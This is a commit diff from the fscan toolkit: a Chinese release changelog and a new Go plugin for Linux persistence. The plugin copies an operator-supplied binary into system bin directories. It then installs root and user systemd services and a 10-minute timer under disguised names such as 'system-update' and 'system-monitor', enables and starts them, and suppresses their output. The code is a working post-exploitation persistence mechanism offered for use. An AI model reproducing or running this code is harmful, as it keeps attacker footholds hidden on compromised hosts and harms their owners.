feat: v2.1.0 核心重构与功能增强

## 架构重构 - 全局变量消除，迁移至 Config/State 对象 - SMB 插件融合（smb/smb2/smbghost/smbinfo） - 服务探测重构，实现 Nmap 风格 fallback 机制 - 输出系统重构，TXT 实时刷盘 + 双写机制 - i18n 框架升级至 go-i18n ## 性能优化 - 正则表达式预编译 - 内存优化 map[string]struct{} - 并发指纹匹配 - SOCKS5 连接复用 - 滑动窗口调度 + 自适应线程池 ## 新功能 - Web 管理界面 - 多格式 POC 适配（xray/afrog） - 增强指纹库（3139条） - Favicon hash 指纹识别 - 插件选择性编译（Build Tags） - fscan-lab 靶场环境 - 默认端口扩展（62→133） ## 构建系统 - 添加 no_local tag 支持排除本地插件 - 多版本构建：fscan/fscan-nolocal/fscan-web - CI 添加 snapshot 模式支持仅测试构建 ## Bug 修复 - 修复 120+ 个问题，包括 RDP panic、批量扫描漏报、 JSON 输出格式、Redis 检测、Context 超时等 ## 测试增强 - 单元测试覆盖率 74-100% - 并发安全测试 - 集成测试（Web/端口/服务/SSH/ICMP）
2026-09-25 04:31:52 +08:00 · 2026-01-11 20:16:23 +08:00
parent 6b13b2e84f
commit 71b92d4408
948 changed files with 92335 additions and 24630 deletions
@@ -0,0 +1,409 @@
+//go:build (plugin_systemdservice || !plugin_selective) && linux && !no_local
+
+package local
+
+import (
+	"context"
+	"fmt"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"runtime"
+	"strings"
+
+	"github.com/shadow1ng/fscan/common"
+	"github.com/shadow1ng/fscan/common/i18n"
+	"github.com/shadow1ng/fscan/plugins"
+)
+
+// SystemdServicePlugin 系统服务插件
+// 设计哲学：直接实现，删除过度设计
+// - 删除复杂的继承体系
+// - 直接实现系统服务持久化功能
+// - 保持原有功能逻辑
+type SystemdServicePlugin struct {
+	plugins.BasePlugin
+}
+
+// NewSystemdServicePlugin 创建系统服务持久化插件
+func NewSystemdServicePlugin() *SystemdServicePlugin {
+	return &SystemdServicePlugin{
+		BasePlugin: plugins.NewBasePlugin("systemdservice"),
+	}
+}
+
+// Scan 执行系统服务持久化 - 直接实现
+func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
+	var output strings.Builder
+
+	if runtime.GOOS != "linux" {
+		output.WriteString("系统服务持久化只支持Linux平台\n")
+		return &plugins.Result{
+			Success: false,
+			Output:  output.String(),
+			Error:   fmt.Errorf("不支持的平台: %s", runtime.GOOS),
+		}
+	}
+
+	// 从config获取配置
+	targetFile := config.PersistenceTargetFile
+	if targetFile == "" {
+		output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n")
+		return &plugins.Result{
+			Success: false,
+			Output:  output.String(),
+			Error:   fmt.Errorf("未指定目标文件"),
+		}
+	}
+
+	// 检查目标文件是否存在
+	if _, err := os.Stat(targetFile); os.IsNotExist(err) {
+		output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", targetFile))
+		return &plugins.Result{
+			Success: false,
+			Output:  output.String(),
+			Error:   err,
+		}
+	}
+
+	// 检查systemctl是否可用
+	if _, err := exec.LookPath("systemctl"); err != nil {
+		output.WriteString(fmt.Sprintf("systemctl命令不可用: %v\n", err))
+		return &plugins.Result{
+			Success: false,
+			Output:  output.String(),
+			Error:   err,
+		}
+	}
+
+	output.WriteString("=== 系统服务持久化 ===\n")
+	output.WriteString(fmt.Sprintf("目标文件: %s\n", targetFile))
+	output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
+
+	var successCount int
+
+	// 1. 复制文件到服务目录
+	servicePath, err := p.copyToServicePath(targetFile)
+	if err != nil {
+		output.WriteString(fmt.Sprintf("✗ 复制文件失败: %v\n", err))
+	} else {
+		output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", servicePath))
+		successCount++
+	}
+
+	// 2. 创建systemd服务文件
+	serviceFiles, err := p.createSystemdServices(servicePath)
+	if err != nil {
+		output.WriteString(fmt.Sprintf("✗ 创建systemd服务失败: %v\n", err))
+	} else {
+		output.WriteString(fmt.Sprintf("✓ 已创建systemd服务: %s\n", strings.Join(serviceFiles, ", ")))
+		successCount++
+	}
+
+	// 3. 启用并启动服务
+	err = p.enableAndStartServices(serviceFiles)
+	if err != nil {
+		output.WriteString(fmt.Sprintf("✗ 启动服务失败: %v\n", err))
+	} else {
+		output.WriteString("✓ 服务已启用并启动\n")
+		successCount++
+	}
+
+	// 4. 创建用户级服务
+	userServiceFiles, err := p.createUserServices(servicePath)
+	if err != nil {
+		output.WriteString(fmt.Sprintf("✗ 创建用户服务失败: %v\n", err))
+	} else {
+		output.WriteString(fmt.Sprintf("✓ 已创建用户服务: %s\n", strings.Join(userServiceFiles, ", ")))
+		successCount++
+	}
+
+	// 5. 创建定时器服务
+	err = p.createTimerServices(servicePath)
+	if err != nil {
+		output.WriteString(fmt.Sprintf("✗ 创建定时器服务失败: %v\n", err))
+	} else {
+		output.WriteString("✓ 已创建systemd定时器\n")
+		successCount++
+	}
+
+	// 输出统计
+	output.WriteString(fmt.Sprintf("\n系统服务持久化完成: 成功(%d) 总计(%d)\n", successCount, 5))
+
+	if successCount > 0 {
+		common.LogSuccess(i18n.Tr("systemdservice_success", successCount))
+	}
+
+	return &plugins.Result{
+		Success: successCount > 0,
+		Output:  output.String(),
+		Error:   nil,
+	}
+}
+
+// copyToServicePath 复制文件到服务目录
+func (p *SystemdServicePlugin) copyToServicePath(targetFile string) (string, error) {
+	// 选择服务目录
+	serviceDirs := []string{
+		"/usr/local/bin",
+		"/opt/local",
+		"/usr/bin",
+	}
+
+	var targetDir string
+	for _, dir := range serviceDirs {
+		if err := os.MkdirAll(dir, 0755); err == nil {
+			targetDir = dir
+			break
+		}
+	}
+
+	if targetDir == "" {
+		return "", fmt.Errorf("无法创建服务目录")
+	}
+
+	// 生成服务可执行文件名
+	basename := filepath.Base(targetFile)
+	serviceName := strings.TrimSuffix(basename, filepath.Ext(basename))
+	if serviceName == "" {
+		serviceName = "system-service"
+	}
+
+	targetPath := filepath.Join(targetDir, serviceName)
+
+	// 复制文件
+	err := p.copyFile(targetFile, targetPath)
+	if err != nil {
+		return "", err
+	}
+
+	// 设置执行权限
+	_ = os.Chmod(targetPath, 0755)
+
+	return targetPath, nil
+}
+
+// copyFile 复制文件内容
+func (p *SystemdServicePlugin) copyFile(src, dst string) error {
+	sourceData, err := os.ReadFile(src)
+	if err != nil {
+		return err
+	}
+	return os.WriteFile(dst, sourceData, 0755)
+}
+
+// createSystemdServices 创建systemd服务文件
+func (p *SystemdServicePlugin) createSystemdServices(execPath string) ([]string, error) {
+	systemDir := "/etc/systemd/system"
+	if err := os.MkdirAll(systemDir, 0755); err != nil {
+		return nil, err
+	}
+
+	services := []struct {
+		name    string
+		content string
+		enable  bool
+	}{
+		{
+			name:   "system-update.service",
+			enable: true,
+			content: fmt.Sprintf(`[Unit]
+Description=System Update Service
+After=network.target
+Wants=network-online.target
+
+[Service]
+Type=simple
+User=root
+ExecStart=%s
+Restart=always
+RestartSec=60
+StandardOutput=null
+StandardError=null
+
+[Install]
+WantedBy=multi-user.target
+`, execPath),
+		},
+		{
+			name:   "system-monitor.service",
+			enable: true,
+			content: fmt.Sprintf(`[Unit]
+Description=System Monitor Service
+After=network.target
+
+[Service]
+Type=forking
+User=root
+ExecStart=%s
+PIDFile=/var/run/system-monitor.pid
+Restart=on-failure
+StandardOutput=null
+StandardError=null
+
+[Install]
+WantedBy=multi-user.target
+`, execPath),
+		},
+		{
+			name:   "network-check.service",
+			enable: false,
+			content: fmt.Sprintf(`[Unit]
+Description=Network Check Service
+After=network-online.target
+Wants=network-online.target
+
+[Service]
+Type=oneshot
+User=root
+ExecStart=%s
+StandardOutput=null
+StandardError=null
+`, execPath),
+		},
+	}
+
+	var created []string
+	for _, service := range services {
+		servicePath := filepath.Join(systemDir, service.name)
+		if err := os.WriteFile(servicePath, []byte(service.content), 0644); err == nil {
+			created = append(created, service.name)
+		}
+	}
+
+	if len(created) == 0 {
+		return nil, fmt.Errorf("无法创建任何systemd服务文件")
+	}
+
+	return created, nil
+}
+
+// enableAndStartServices 启用并启动服务
+func (p *SystemdServicePlugin) enableAndStartServices(serviceFiles []string) error {
+	var errors []string
+
+	for _, serviceName := range serviceFiles {
+		// 重新加载systemd配置
+		_ = exec.Command("systemctl", "daemon-reload").Run()
+
+		// 启用服务
+		if err := exec.Command("systemctl", "enable", serviceName).Run(); err != nil {
+			errors = append(errors, fmt.Sprintf("enable %s: %v", serviceName, err))
+		}
+
+		// 启动服务
+		if err := exec.Command("systemctl", "start", serviceName).Run(); err != nil {
+			errors = append(errors, fmt.Sprintf("start %s: %v", serviceName, err))
+		}
+	}
+
+	if len(errors) > 0 {
+		return fmt.Errorf("服务操作错误: %s", strings.Join(errors, "; "))
+	}
+
+	return nil
+}
+
+// createUserServices 创建用户级服务
+func (p *SystemdServicePlugin) createUserServices(execPath string) ([]string, error) {
+	userDir := filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user")
+	if userDir == "/.config/systemd/user" { // HOME为空的情况
+		userDir = "/tmp/.config/systemd/user"
+	}
+
+	if err := os.MkdirAll(userDir, 0755); err != nil {
+		return nil, err
+	}
+
+	userServices := []string{
+		"user-service.service",
+		"background-task.service",
+	}
+
+	userServiceContent := fmt.Sprintf(`[Unit]
+Description=User Background Service
+After=graphical-session.target
+
+[Service]
+Type=simple
+ExecStart=%s
+Restart=always
+RestartSec=30
+StandardOutput=null
+StandardError=null
+
+[Install]
+WantedBy=default.target
+`, execPath)
+
+	var created []string
+	for _, serviceName := range userServices {
+		servicePath := filepath.Join(userDir, serviceName)
+		if err := os.WriteFile(servicePath, []byte(userServiceContent), 0644); err == nil {
+			created = append(created, serviceName)
+
+			// 启用用户服务
+			_ = exec.Command("systemctl", "--user", "enable", serviceName).Run()
+			_ = exec.Command("systemctl", "--user", "start", serviceName).Run()
+		}
+	}
+
+	return created, nil
+}
+
+// createTimerServices 创建定时器服务
+func (p *SystemdServicePlugin) createTimerServices(execPath string) error {
+	systemDir := "/etc/systemd/system"
+
+	// 创建定时器服务文件
+	timerService := fmt.Sprintf(`[Unit]
+Description=Scheduled Task Service
+Wants=scheduled-task.timer
+
+[Service]
+Type=oneshot
+ExecStart=%s
+StandardOutput=null
+StandardError=null
+`, execPath)
+
+	// 创建定时器文件
+	timerConfig := `[Unit]
+Description=Run Scheduled Task Every 10 Minutes
+Requires=scheduled-task.service
+
+[Timer]
+OnBootSec=5min
+OnUnitActiveSec=10min
+AccuracySec=1s
+
+[Install]
+WantedBy=timers.target
+`
+
+	// 写入服务文件
+	serviceFile := filepath.Join(systemDir, "scheduled-task.service")
+	if err := os.WriteFile(serviceFile, []byte(timerService), 0644); err != nil {
+		return err
+	}
+
+	// 写入定时器文件
+	timerFile := filepath.Join(systemDir, "scheduled-task.timer")
+	if err := os.WriteFile(timerFile, []byte(timerConfig), 0644); err != nil {
+		return err
+	}
+
+	// 启用定时器
+	_ = exec.Command("systemctl", "daemon-reload").Run()
+	_ = exec.Command("systemctl", "enable", "scheduled-task.timer").Run()
+	_ = exec.Command("systemctl", "start", "scheduled-task.timer").Run()
+
+	return nil
+}
+
+// 注册插件
+func init() {
+	RegisterLocalPlugin("systemdservice", func() Plugin {
+		return NewSystemdServicePlugin()
+	})
+}